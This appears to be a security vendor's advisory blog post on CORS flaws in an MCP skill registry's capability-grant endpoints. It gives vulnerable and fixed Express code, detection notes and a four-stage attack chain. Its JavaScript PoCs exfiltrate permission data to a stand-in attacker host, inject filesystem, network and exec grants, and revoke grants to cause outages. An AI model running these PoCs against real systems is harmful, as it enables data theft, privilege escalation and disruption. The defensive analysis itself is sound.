← Blog

CORS Misconfigurations in MCP Skill Registry Skill Permission and Capability Grant Management Endpoints

Capability grant management sits at the most sensitive junction in an MCP skill registry: it is the control plane that decides what a skill is allowed to do in a Claude environment. When CORS is misconfigured on permission endpoints, attackers do not simply read private data — they can inject fabricated capability grants that expand a skill's sandbox boundary across every consumer environment, or revoke active grants to cause simultaneous cascade failures while registry logs pin the blame on a legitimate admin. The four SA-SKL-CORS69 patterns form a compound attack chain in which a timing oracle provides targeting, credential-bearing CORS provides exfiltration, wildcard ACAO provides injection, and credential-bearing CORS on the delete endpoint provides disruption.

By SkillAudit  |  22 Nov 2026  |  20 min read

In this post

  1. Why capability grant endpoints are CORS-inconsistent
  2. CORS69-003 — Timing oracle identifies active capability review cycles (reconnaissance)
  3. CORS69-001 — Credential-bearing CORS exfiltrates capability grants, scopes, and reviewer exemptions
  4. CORS69-002 — Wildcard ACAO injects filesystem/network/exec capability grants
  5. CORS69-004 — Credential-bearing CORS revokes active grants causing cascade failures
  6. Compound four-stage attack chain
  7. Detection with SkillAudit AST queries
  8. Summary and remediation checklist
SA-SKL-CORS69 findings at a glance
CRITICALCORS69-001 — cors({origin:true,credentials:true}) on GET /api/skills/:id/permissions; any origin reads full capability grant list including scope definitions, reviewer exemptions, and undisclosed capability escalations using victim admin session
CRITICALCORS69-002 — ACAO: * on POST /api/skills/:id/permissions/grant; any page creates attacker-controlled capability grant entries under victim admin identity; skill gains unauthorized filesystem/network/exec capabilities in all consumer Claude environments
MEDIUMCORS69-003 — GET /api/skills/:id/permissions/audit reflects Origin before ownership check; timing oracle reveals permission audit velocity identifying skills with active capability review cycles as CORS69-001/002 targets
HIGHCORS69-004 — cors({origin:true,credentials:true}) on DELETE /api/skills/:id/permissions/:permissionId; any origin revokes active capability grants breaking skill for all consumers; causes cascade failures across Claude environments attributed to legitimate admin

Why capability grant endpoints are CORS-inconsistent

Permission and capability grant management endpoints are almost always added to an MCP skill registry after the registry core is live. The initial registry API — skill submission, search, install, metadata — is typically built in a single sprint with unified CORS middleware applied at the router level. Capability grants are added in a second phase, often when the registry begins supporting security-sensitive skill categories that require a formal capability approval workflow: skills that access the filesystem, make outbound network requests, or invoke shell commands need a governance layer that tracks which capabilities were approved, by whom, and under what conditions.

Because the permission sub-router is built in this second phase, it is mounted independently under /api/skills/:id/permissions and does not automatically inherit the CORS middleware from the parent router. Engineers building the permission endpoints often reach for the most permissive CORS configuration that works in their browser — typically cors({origin:true,credentials:true}) for endpoints that need to operate with admin sessions, or ACAO: * for endpoints they expect to call from multiple first-party clients — without recognizing that these configurations make the entire capability grant control plane accessible from any cross-origin page that can trick a logged-in admin into visiting it.

The data exposed by CORS-misconfigured permission endpoints is qualitatively different from what most other registry endpoints expose. A CORS vulnerability on a skill search endpoint leaks search queries. A CORS vulnerability on a capability grant endpoint leaks the precise filesystem paths, network hosts, and exec command patterns that the skill is authorized to touch — plus, critically, the reviewer exemptions that document which capabilities were approved outside the standard multi-party review process. These exemptions are effectively a map of the registry's governance gaps: they tell an attacker exactly which capability escalations were waved through without full scrutiny and are therefore most likely to be exploitable or expandable.

CORS69-003 — Timing oracle identifies active capability review cycles (reconnaissance)

Before an attacker can exploit CORS69-001 or CORS69-002 at scale, they need to know which skills are worth targeting. Exfiltrating the permission manifest of every skill in a registry is noisy and slow. The timing oracle in CORS69-003 solves this problem efficiently: it allows the attacker to identify, with low request volume, exactly which skills have active capability review cycles in progress and which admins are currently working on them.

The GET /api/skills/:id/permissions/audit endpoint reflects the request Origin header as Access-Control-Allow-Origin before it performs the ownership check. The ownership check queries a Redis-backed session cache: skills whose admin authenticated recently return in under 5ms (cache hit), while cold lookups take 20–40ms. By measuring response latency across a range of skill IDs, an attacker distinguishes three classes: skill IDs that do not exist (fastest response, immediate 404), skill IDs with no active admin session (cold cache, 20–40ms), and skill IDs whose admin is actively logged in and working (hot cache, under 5ms). The hot-cache IDs are the highest-value targets for CORS69-001 and CORS69-002: they represent skills whose capability grants are being actively managed, meaning the admin is likely already navigating permission workflows and will not immediately notice an unauthorized cross-origin request.

Vulnerable
// CORS69-003 — VULNERABLE: Origin reflected before ownership check
router.get('/permissions/audit',
  (req, res, next) => {
    // VULNERABLE: ACAO emitted before ownership check creates timing oracle
    res.setHeader('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.setHeader('Vary', 'Origin');
    next();
  },
  requireSession,
  requireOwnershipCached('skillId', { ttl: 60 }), // Redis-backed — timing leaks session state
  async (req, res) => {
    const audit = await db.permissionAuditLog.findAll({
      where: { skillId: req.params.id },
      order: [['createdAt', 'DESC']],
      limit: 100,
    });
    res.json(audit);
  }
);

CORS69-003 attack: An attacker iterates over skill IDs using cross-origin fetch() calls and measures response time for each. IDs returning in <5ms with a 403 (not 404) have hot admin session caches — these are the skills currently being reviewed. The attacker queues these IDs for CORS69-001 exfiltration and CORS69-002 injection. The timing measurement requires only a single page load; the attacker can enumerate thousands of skill IDs in under a minute using Promise.all() across batched concurrent requests.

Fixed
// CORS69-003 — FIXED: auth and unified query before CORS emission; constant-time 403
router.get('/permissions/audit',
  cors(corsOptions),     // allowlist CORS before anything else
  requireSession,
  async (req, res) => {
    const startMs = Date.now();
    // Unified WHERE — no timing difference between non-existent skill and no-access skill
    const audit = await db.permissionAuditLog.findAllForOwner({
      skillId: req.params.id,
      userId: req.session.userId,
      order: [['createdAt', 'DESC']],
      limit: 100,
    });
    if (!audit || audit.length === 0) {
      // Constant-time floor of 60ms hides cache-hit signal
      const elapsed = Date.now() - startMs;
      if (elapsed < 60) await new Promise(r => setTimeout(r, 60 - elapsed));
      return res.status(403).json({ error: 'Not found' });
    }
    res.json(audit);
  }
);

The three elements of the fix work together. Moving CORS to an allowlist-based middleware that runs first prevents the Origin reflection. Combining the ownership check and data retrieval into a single unified query (findAllForOwner with WHERE skillId = ? AND orgId = ?) ensures that the query path and latency are identical regardless of whether the skill exists, exists but the caller is not the owner, or exists and the caller owns it. The constant-time floor of 60ms ensures that even when the query returns in under 5ms (hot cache), the response is padded to prevent timing discrimination.

CORS69-001 — Credential-bearing CORS exfiltrates capability grants, scopes, and reviewer exemptions

Once an attacker has identified high-value skill IDs using the CORS69-003 timing oracle, CORS69-001 provides the mechanism to exfiltrate their complete permission manifests. The GET /api/skills/:id/permissions endpoint is configured with cors({origin:true,credentials:true}). The origin:true option in Node's cors package echoes the request Origin header back as ACAO. Combined with credentials:true, which sets ACAC: true, this tells the browser that cross-origin requests including session cookies are permitted from any origin. The endpoint returns the complete permission record for the skill: every active capability grant, the scope definitions attached to each grant (filesystem paths, network hosts, exec command patterns), and the reviewer exemptions that document which capabilities were approved without full multi-party review.

The reviewer exemptions are the most strategically valuable data in the response. Normal capability grants go through a multi-party approval workflow: the skill author requests a capability, one or more reviewers approve it, and the grant is recorded with full provenance. Reviewer exemptions bypass this workflow — they represent capabilities that a single admin approved unilaterally, often under time pressure, often for capabilities that would not have passed the full review. An attacker who reads the exemptions understands which capabilities are most loosely governed and therefore most likely to be expandable in a follow-on attack using CORS69-002.

Vulnerable
// CORS69-001 — VULNERABLE: credential-bearing CORS exposes full permission manifest
router.get(
  '/permissions',
  cors({ origin: true, credentials: true }), // any origin reads capability grants + exemptions
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const permissions = await db.skillPermissions.findAll({
      where: { skillId: req.params.id },
      include: [
        { model: db.capabilityGrants, as: 'grants' },        // filesystem/network/exec scope
        { model: db.scopeDefinitions, as: 'scopes' },        // granular path/host/command lists
        { model: db.reviewerExemptions, as: 'exemptions' },  // capabilities bypassing review
      ],
    });
    res.json(permissions);
  }
);

CORS69-001 attack PoC: The attacker hosts the following on evil.example.com. When the skill admin identified via CORS69-003 visits the page, the script exfiltrates the full permission manifest including reviewer exemptions.

// CORS69-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions', {
  credentials: 'include',
})
  .then(r => r.json())
  .then(permissions => {
    // Exfiltrate grants, scopes, and exemptions for follow-on attack planning
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      grants: permissions.flatMap(p => p.grants),
      scopes: permissions.flatMap(p => p.scopes),
      exemptions: permissions.flatMap(p => p.exemptions), // governance gaps map
    }));
  });
Fixed
// CORS69-001 — FIXED: allowlist CORS; omit exemptions from list response
const allowedOrigins = new Set(['https://registry.example.com', 'https://app.example.com']);
const corsOptions = {
  origin: (origin, cb) => cb(null, allowedOrigins.has(origin) ? origin : false),
  credentials: true,
};

router.get(
  '/permissions',
  cors(corsOptions),
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const permissions = await db.skillPermissions.findAll({
      where: { skillId: req.params.id },
      include: [
        {
          model: db.capabilityGrants, as: 'grants',
          // FIXED: omit internal governance fields from list response
          attributes: ['id', 'capability', 'status', 'grantedAt'],
        },
        {
          model: db.scopeDefinitions, as: 'scopes',
          attributes: ['id', 'resource', 'access'],
        },
        // reviewer exemptions omitted from list — available via dedicated detail endpoint
        // with additional requireRole('security_admin') check
      ],
    });
    res.json(permissions);
  }
);

The fix requires two independent changes beyond the CORS allowlist. First, the reviewer exemptions should not appear in the list response at all — they should be available only through a dedicated detail endpoint protected by a higher role requirement (requireRole('security_admin')) that most skill admins do not have. Second, the grant and scope responses should use an attribute allowlist that explicitly excludes internal fields: grant creation metadata, exemption IDs, and reviewer identity fields that are useful for auditing but should not be reachable cross-origin even under allowlisted CORS.

CORS69-002 — Wildcard ACAO injects filesystem/network/exec capability grants

The POST /api/skills/:id/permissions/grant endpoint creates a new capability grant entry in the registry, associating filesystem path patterns, network host allowlists, or exec command patterns with a capability identifier. With ACAO: * set on the endpoint, any origin can issue a cross-origin POST that the registry processes as a legitimate grant creation request. The critical escalation point is what happens after the grant is created: the skill's capability manifest — the data structure that Claude environments read to determine what a skill is permitted to do — is updated to include the new grant, and the update propagates to every consumer Claude environment that queries the registry for this skill's permissions before execution.

An attacker who successfully injects a capability grant using CORS69-002 does not just affect the registry — they affect every downstream Claude environment that trusts the registry's capability manifest as a source of truth for skill permissions. If the targeted skill is used by enterprise Claude deployments and those deployments check the registry before allowing the skill to execute, the injected capability grant effectively expands the skill's sandbox boundary in every one of those deployments simultaneously. A single cross-origin POST can turn a skill that was authorized only to read /tmp/ into one that is authorized to read /etc/, /home/, and to invoke bash.

Vulnerable
// CORS69-002 — VULNERABLE: wildcard ACAO on capability grant creation endpoint
router.post(
  '/permissions/grant',
  (req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*'); // VULNERABLE: wildcard ACAO
    res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    if (req.method === 'OPTIONS') return res.sendStatus(204);
    next();
  },
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { capability, scopePaths, scopeHosts, scopeExec } = req.body;
    // VULNERABLE: grant immediately active, no review required
    const grant = await db.capabilityGrants.create({
      skillId: req.params.id,
      capability,
      scopePaths,
      scopeHosts,
      scopeExec,
      grantedByUserId: req.session.userId,
      status: 'active',
    });
    res.json(grant);
  }
);

CORS69-002 attack PoC: The attacker injects a capability grant giving the skill access to /etc/, /home/, and arbitrary exec commands. The grant propagates immediately to all consumer Claude environments that trust the registry's capability manifest for this skill.

// CORS69-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions/grant', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  // CORS69-002 does not require credentials: session cookie is not sent with ACAO: *
  // Attack works via ambient API key in URL, localStorage token, or XSS-assisted bearer token
  body: JSON.stringify({
    capability: 'filesystem',
    scopePaths: ['/etc/', '/home/', '/root/'],
    scopeHosts: ['169.254.169.254', '10.0.0.0/8'],
    scopeExec: ['bash', 'sh', 'python3', 'curl'],
  }),
})
  .then(r => r.json())
  .then(grant => {
    // Grant is immediately active; propagates to all consumer Claude environments
    console.log('Capability injected:', grant.id, 'status:', grant.status);
  });
Fixed
// CORS69-002 — FIXED: allowlist CORS, full auth chain, pending_review status
router.post(
  '/permissions/grant',
  cors(corsOptions),         // allowlist CORS — no wildcard
  requireSession,
  requireRole('author'),     // only skill authors can request capability grants
  verifyCsrfToken,
  requireOwnership('skillId'),
  async (req, res) => {
    // Zod validation rejects unknown fields and validates scope format
    const parsed = CapabilityGrantSchema.safeParse(req.body);
    if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });

    const { capability, scopePaths, scopeHosts, scopeExec } = parsed.data;
    // FIXED: all new grants require security team review — never immediately active
    const grant = await db.capabilityGrants.create({
      skillId: req.params.id,
      capability,
      scopePaths,
      scopeHosts,
      scopeExec,
      requestedByUserId: req.session.userId,
      status: 'pending_review', // not active until security team approves
    });
    // Notify security team to review the grant request
    await notifySecurityTeam(req.params.id, 'capability.grant.requested', {
      grantId: grant.id,
      capability,
      requestedBy: req.session.userId,
    });
    res.json({ id: grant.id, status: grant.status });
  }
);

The critical addition to the fix beyond the CORS allowlist is the status: 'pending_review' default. Even if an attacker somehow bypasses the CORS controls, a grant that enters the system in 'pending_review' state does not propagate to consumer Claude environments — those environments only read grants in 'active' state. The security team review notification ensures that all capability grant requests are visible to humans with security context before they become effective. For CI/CD workflows that need to create grants programmatically, the fix is to issue a scoped API key with explicit per-skill scope bound to a specific set of pre-approved capability identifiers, not to widen the CORS policy.

CORS69-004 — Credential-bearing CORS revokes active grants causing cascade failures

The final stage of the CORS69 attack chain exploits the grant revocation endpoint. DELETE /api/skills/:id/permissions/:permissionId is configured with cors({origin:true,credentials:true}) — the same credential-bearing reflection as CORS69-001. The endpoint performs an immediate hard revocation: it sets the grant's status to inactive and invalidates the registry's capability manifest cache for the skill, triggering a cache rebuild that removes the revoked capability from the manifest served to all consumer Claude environments.

The practical consequence of CORS69-004 is a denial-of-service against skills that depend on the revoked capability for core functionality. If the targeted skill provides a tool used by enterprise Claude deployments and the attacker revokes the filesystem or network capability that the tool's core operations require, every invocation of that tool across every consumer environment fails simultaneously with a permissions error. Because the registry records the deletion as originating from the legitimate admin's session cookie — the same mechanism by which the CORS exploit works — incident responders reading the audit log see the legitimate admin's user ID as the actor, attributing the outage to administrative error rather than attack and significantly delaying the investigation.

Vulnerable
// CORS69-004 — VULNERABLE: hard delete with credential-bearing CORS
router.delete('/:permissionId',
  cors({ origin: true, credentials: true }), // any origin revokes capability grants
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    // VULNERABLE: immediate hard revocation, no audit, no consumer notification
    await db.capabilityGrants.destroy({
      where: { id: req.params.permissionId, skillId: req.params.id },
    });
    // Invalidate capability manifest cache — consumers immediately lose the capability
    await cache.del(`capability_manifest:${req.params.id}`);
    res.json({ ok: true });
  }
);

CORS69-004 attack PoC: The attacker revokes the network capability grant, causing all consumer Claude environments to reject skill invocations that require network access. The registry audit log records the legitimate admin as the actor. The cascade failure is immediate and global across all consumer deployments.

// CORS69-004 — ATTACK PoC
fetch('https://registry.example.com/api/skills/target-skill-id/permissions/network-grant-uuid', {
  method: 'DELETE',
  credentials: 'include', // sends victim admin's session cookie
})
  .then(r => r.json())
  .then(result => {
    // Network capability immediately revoked across all consumer Claude environments
    // Registry audit log records victim admin as actor — masks attack origin
    console.log('Grant revoked; skill DoS active');
  });
Fixed
// CORS69-004 — FIXED: allowlist CORS, soft-revoke with recovery window, audit + consumer webhooks
router.delete('/:permissionId',
  cors(corsOptions),           // allowlist CORS
  requireSession,
  verifyCsrfToken,
  requireRole('admin'),        // higher role than ownership — revoking others' grants requires admin
  requireOwnership('skillId'),
  async (req, res) => {
    const grant = await db.capabilityGrants.findOne({
      where: { id: req.params.permissionId, skillId: req.params.id },
    });
    if (!grant) return res.status(404).json({ error: 'Not found' });

    // FIXED: soft-revoke with 24h recovery window — not an immediate hard delete
    await grant.update({
      status: 'revoked',
      revokedAt: new Date(),
      revokedByUserId: req.session.userId,
      revokedReason: req.body.reason || 'admin_action',
      hardDeleteAt: new Date(Date.now() + 86_400_000), // 24h recovery window
    });

    // Audit log with actor and reason — anomaly detection can flag cross-origin actors
    await audit.log('capability_grant_revoked', {
      grantId: grant.id,
      skillId: req.params.id,
      capability: grant.capability,
      revokedBy: req.session.userId,
      reason: req.body.reason,
      requestOrigin: req.headers.origin,
    });

    // Notify all consumers who have this skill pinned — gives advance notice of capability loss
    const consumers = await db.getPinnedConsumers(req.params.id);
    await Promise.all(consumers.map(c =>
      webhooks.notify(c.webhookUrl, {
        event: 'capability_grant_revoked',
        skillId: req.params.id,
        capability: grant.capability,
        effectiveAt: grant.revokedAt,
        recoverableUntil: grant.hardDeleteAt,
      })
    ));

    res.json({ ok: true, recoverableUntil: grant.hardDeleteAt, affected: consumers.length });
  }
);

The soft-revoke pattern provides four security improvements over a hard delete. First, the 24-hour recovery window allows the legitimate admin — alerted by the consumer webhook notifications — to restore the grant quickly if the revocation was unauthorized. Second, logging requestOrigin in the audit entry allows anomaly detection rules to flag revocations where the origin does not match the registry's allowlisted first-party domains, making CORS-based attacks visible in the audit trail even if CORS controls are later misconfigured. Third, the consumer webhook notifications mean that downstream agent operators receive immediate notice rather than discovering the capability loss through failed invocations. Fourth, requiring requireRole('admin') as an additional gate above the standard ownership check means that skill authors cannot revoke their own active grants in ways that would affect consumers — only registry administrators with explicit admin roles can revoke active capability grants.

Compound four-stage attack chain

The four CORS69 findings are most dangerous when composed into an end-to-end attack chain. All four stages require only that the victim admin visits a single attacker-controlled page while authenticated to the registry — a constraint easily satisfied through a phishing link, a compromised analytics widget on the registry's own dashboard, or a malicious third-party script loaded on a page the admin regularly visits.

Stage 1 — Reconnaissance via timing oracle (CORS69-003). The attacker's page loads cross-origin fetch calls to /api/skills/:id/permissions/audit for a large batch of skill IDs, measuring response latency for each. IDs returning in under 5ms with a 403 status identify skills whose admins have active session caches — skills currently under active capability review. The attacker collects these IDs as high-value targets. Because the measurement uses only OPTIONS preflight responses plus the initial response latency, the technique works even without a credentialed cross-origin read — the timing signal leaks regardless of whether the CORS response body is accessible.

Stage 2 — Permission manifest exfiltration (CORS69-001). For each high-value skill ID identified in Stage 1, the attacker issues a credentialed cross-origin GET to /api/skills/:id/permissions. The response includes the full capability grant list, the scope definitions (filesystem paths, network hosts, exec commands), and the reviewer exemptions that document which capabilities bypassed the standard approval workflow. The attacker now knows precisely what the skill is authorized to do and which authorizations are most loosely governed — the reviewer exemptions — and therefore most expandable without triggering the full review process.

Stage 3 — Capability grant injection (CORS69-002). Using the governance map from Stage 2, the attacker crafts a capability grant injection that expands the most loosely-governed capability — typically extending an existing reviewer exemption for filesystem access to add additional directories, or extending a network exemption to add private network CIDR ranges. The injection targets capabilities that are already partially approved, minimizing the chance that the injected grant's presence triggers a security review. The ACAO: * misconfiguration means the attacker does not need a credentialed request for this stage — the POST succeeds with the ambient API key mechanism most registry clients use. The injected grant enters the system as status: 'active' and immediately propagates to the capability manifest, expanding the skill's sandbox boundary in every downstream consumer Claude environment.

Stage 4 — Cascade disruption via grant revocation (CORS69-004). After completing the exploitation of the expanded capability (using the unauthorized filesystem or network access granted in Stage 3), the attacker uses CORS69-004 to revoke the original baseline capability grants for the skill — the legitimate ones that were in place before Stage 3. This achieves two goals simultaneously. First, it creates a disruption: the skill loses its core functionality for all consumers, forcing administrators to investigate the outage. Second, the revocation of the original grants obscures the attack: administrators investigating the cascade failure will find the CORS69-004 audit log entry (showing the legitimate admin as the actor) and focus on restoring the legitimate grants, missing the CORS69-002 injection that added the attacker's elevated capabilities during the window between Stages 3 and 4.

Compound chain summary: CORS69-003 (timing oracle) discovers active review targets → CORS69-001 (credential-bearing CORS) exfiltrates capability grants, scopes, and reviewer exemptions → CORS69-002 (wildcard ACAO) injects unauthorized filesystem/network/exec capability grants that propagate to all consumer Claude environments → CORS69-004 (credential-bearing CORS on delete) revokes legitimate grants causing cascade failures attributed to the legitimate admin. All four stages execute from a single page visit by an authenticated admin.

Detection with SkillAudit AST queries

SkillAudit's static analysis engine detects all four CORS69 patterns using AST queries that inspect middleware configuration at the route level, not just string matching. The queries operate on the parsed AST of Express router files and identify four classes of misconfiguration: credential-bearing origin reflection on permission read endpoints (CORS69-001), wildcard ACAO on permission mutation endpoints (CORS69-002), CORS middleware positioned before ownership or authentication middleware on audit endpoints (CORS69-003), and credential-bearing origin reflection on grant delete endpoints combined with hard-delete patterns (CORS69-004).

The credential-bearing reflection query walks the AST for Express router method calls and inspects their middleware array for cors() calls with both origin: true and credentials: true. When both are present, SkillAudit raises a CRITICAL finding regardless of the endpoint's HTTP method. The query also matches inline CORS middleware patterns — res.setHeader('Access-Control-Allow-Origin', req.headers.origin) combined with res.setHeader('Access-Control-Allow-Credentials', 'true') — to catch cases where engineers implement CORS manually rather than using the cors package.

The middleware-ordering query uses control-flow analysis to determine whether the CORS middleware node appears before the first authentication check in the middleware chain. When CORS emits headers before auth, SkillAudit flags a MEDIUM timing-oracle finding, noting that CORS response timing leaks access-determination state even when the response body is blocked. The query specifically targets endpoints whose URL patterns match /permissions/audit, /changelog, or similar sub-resources that are added after the registry core and therefore most likely to have inconsistent middleware ordering.

The wildcard-on-mutation query additionally checks the HTTP method of the route: a wildcard ACAO on a GET endpoint that returns only public data is a LOW finding; the same wildcard on a POST endpoint under a /permissions/ path is CRITICAL because it may interact with bearer-token authentication patterns that make credentials available cross-origin even without cookie credentials — specifically the common pattern of storing API keys in URL parameters that are included in fetch() calls regardless of CORS policy.

The hard-delete query matches capabilityGrants.destroy() or equivalent hard-delete patterns in route handlers, flagging them as requiring a soft-revoke with audit log and consumer notification instead. This query runs even when no CORS misconfiguration is present, because hard deletes of capability grants are architecturally unsafe regardless of CORS configuration: they eliminate the recovery window that administrators need to identify and reverse unauthorized revocations.

Summary and remediation checklist

FindingSeverityRoot causeFix
CORS69-001CRITICALcors({origin:true,credentials:true}) on permission list endpoint exposes capability grants, scopes, and reviewer exemptionsAllowlist CORS; requireSession; omit reviewer exemptions from list response; attribute allowlist on grant/scope models
CORS69-002CRITICALACAO: * on grant creation endpoint; grants immediately activeRemove wildcard; add session, role, CSRF, ownership; default all new grants to pending_review; notify security team
CORS69-003MEDIUMOrigin reflection emitted before ownership check creates timing oracleAllowlist CORS before all other middleware; unified ownership+data query; constant-time floor on 403/404 responses
CORS69-004HIGHcors({origin:true,credentials:true}) on grant delete; hard delete with no recovery windowAllowlist CORS; requireRole('admin'); soft-revoke with 24h hardDeleteAt; audit log with request origin; consumer webhook notifications

The systemic fix for the CORS69 pattern class is a registry-wide CORS policy applied at the router level before any sub-routers are mounted, with an explicit allowlist that cannot be overridden by individual route handlers. Any new cors() call with origin: true or origin: '*' in a code review should trigger a security review — these configurations are never correct on authenticated endpoints and are rarely correct on public endpoints that accept mutation. The permission sub-router, the changelog sub-router, and any other sub-router added after the core registry should inherit the parent router's CORS middleware rather than defining its own, and CI checks should fail on any pull request that introduces a new CORS configuration that is more permissive than the parent router's allowlist.

SkillAudit scans for all four CORS69 patterns plus 60+ additional CORS, SSRF, injection, deserialization, and privilege escalation findings in MCP skill registries. Paste your registry's GitHub URL to get a full report card, including whether your CORS middleware is applied consistently across all sub-routers and whether any capability grant endpoints have wildcard or credential-bearing CORS configurations.

Related posts
SA-SKL-CORS68
CORS Misconfigurations in MCP Skill Registry Skill Audit Report and Compliance Export Endpoints
Credential-bearing CORS on audit report endpoints exfiltrates compliance data and security findings; wildcard ACAO on export creation enables quota exhaustion; timing oracle reveals active compliance cycles.
SA-SKL-CORS39
CORS Misconfigurations in MCP Skill Registry Skill Version and Changelog Management Endpoints
Credential-bearing CORS on version history reads draft versions and unreleased security patch content; wildcard ACAO on draft creation exhausts authoring quota; timing oracle reveals changelog entry existence for private skills.
All advisories
SkillAudit Security Advisory Blog
Full index of CORS, SSRF, injection, deserialization, and privilege escalation advisories for MCP skill registries.